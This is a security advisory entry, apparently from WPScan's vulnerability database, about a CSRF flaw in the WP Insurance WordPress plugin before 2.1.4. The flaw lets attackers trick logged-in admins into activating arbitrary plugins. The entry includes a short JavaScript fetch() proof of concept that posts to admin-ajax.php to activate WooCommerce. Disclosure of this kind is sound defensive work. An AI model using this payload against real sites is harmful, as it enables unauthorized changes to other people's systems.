Lucene search

K
wpvulndbLana CodesWPVDB-ID:36FD6C0D-3F0C-4F7D-AA17-5B2D084AB94C
HistoryFeb 28, 2023 - 12:00 a.m.

WP Insurance < 2.1.4 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
Lana Codes
wpscan.com
2
wp insurance
arbitrary plugin activation
csrf
attackers

0.001 Low

EPSS

Percentile

29.8%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

PoC

activate woocommerce plugin exploit: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=wpinsurance_ajax_plugin_activation&location;=woocommerce/woocommerce.php’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
wp-insurancelt2.1.4

0.001 Low

EPSS

Percentile

29.8%

Related for WPVDB-ID:36FD6C0D-3F0C-4F7D-AA17-5B2D084AB94C